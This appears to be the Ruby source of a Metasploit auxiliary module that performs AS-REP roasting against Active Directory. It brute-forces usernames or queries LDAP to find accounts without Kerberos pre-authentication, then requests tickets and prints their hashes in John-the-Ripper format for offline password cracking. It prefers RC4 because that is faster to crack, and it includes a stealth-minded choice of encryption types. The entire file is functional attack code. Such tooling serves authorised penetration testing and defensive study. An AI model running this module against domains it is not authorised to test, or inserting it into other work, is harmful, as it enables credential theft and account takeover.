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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Kerberos::Client
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  include Msf::Exploit::Remote::LDAP
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  include Msf::Exploit::Remote::LDAP::Queries
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  include Msf::OptionalSession::LDAP
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',
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        'Description' => %q{
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          This module searches for AD users without pre-auth required. Two different approaches
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          are provided:
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          - Brute force of usernames (does not require a user account; should not lock out accounts)
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          - LDAP lookup (requires an AD user account)
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'smashery', # MSF Module
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        ],
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        'References' => [
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          ['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => [],
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          'AKA' => ['preauth', 'asreproast']
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        },
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        'Actions' => [
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          ['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],
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          ['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],
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        ],
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        'DefaultAction' => 'BRUTE_FORCE'
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      )
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    )
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    register_options(
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      [
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        Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
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        OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
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        OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
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        OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
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      ]
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    )
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    register_option_group(name: 'SESSION',
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                          description: 'Used when connecting to LDAP over an existing SESSION',
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                          option_names: %w[RHOSTS],
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                          required_options: %w[SESSION RHOSTS])
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    register_advanced_options(
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      [
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        OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
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      ]
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    )
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    default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
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    loaded_queries = safe_load_queries(default_config_file_path) || []
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    asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' }
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    self.ldap_query = asrep_roast_query[0]
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  end
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  def run
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    case action.name
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    when 'BRUTE_FORCE'
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      run_brute
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    when 'LDAP'
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      run_ldap
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    end
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  end
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  def run_brute
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    result_count = 0
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    user_file = datastore['USER_FILE']
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    username = datastore['USERNAME']
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    if user_file.blank? && username.blank?
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      fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')
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    end
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    if username.present?
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      begin
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        roast(datastore['USERNAME'])
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        result_count += 1
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      rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
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        # User either not present, or requires preauth
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        vprint_status("User: #{username} - #{e}")
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      end
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    end
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    if user_file.present?
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      File.open(user_file, 'rb') do |file|
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        file.each_line(chomp: true) do |user_from_file|
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          roast(user_from_file)
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          result_count += 1
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        rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
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          # User either not present, or requires preauth
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          vprint_status("User: #{user_from_file} - #{e}")
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        end
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      end
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    end
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    if result_count == 0
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      print_error('No users found without preauth required')
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    else
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      print_line
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      print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
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    end
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  end
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  def run_ldap
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    fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank?
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    ldap_connect do |ldap|
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      validate_bind_success!(ldap)
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      unless (base_dn = ldap.base_dn)
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        fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
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      end
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      schema_dn = ldap.schema_dn
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      filter_string = ldap_query['filter']
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      attributes = ldap_query['attributes']
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      begin
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        filter = Net::LDAP::Filter.construct(filter_string)
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      rescue StandardError => e
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        fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}")
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      end
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      print_line
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      result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties|
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        username = result.samaccountname[0]
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        begin
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          roast(username)
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        rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
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          print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})")
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        end
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      end
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      if result_count == 0
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        print_error("No entries could be found for #{filter_string}!")
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      else
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        print_line
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        print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
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      end
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    end
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  end
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  def roast(username)
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    res = send_request_tgt(
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      server_name: "krbtgt/#{datastore['domain']}",
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      client_name: username,
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      realm: datastore['DOMAIN'],
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      offered_etypes: etypes,
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      rport: 88,
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      rhost: datastore['RHOST']
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    )
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    hash = format_as_rep_to_john_hash(res.as_rep)
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    print_line(hash)
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  end
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  def etypes
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    if datastore['USE_RC4_HMAC']
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      [Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]
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    else
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      # We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,
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      # and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added
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      Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
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    end
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  end
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  attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file
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end
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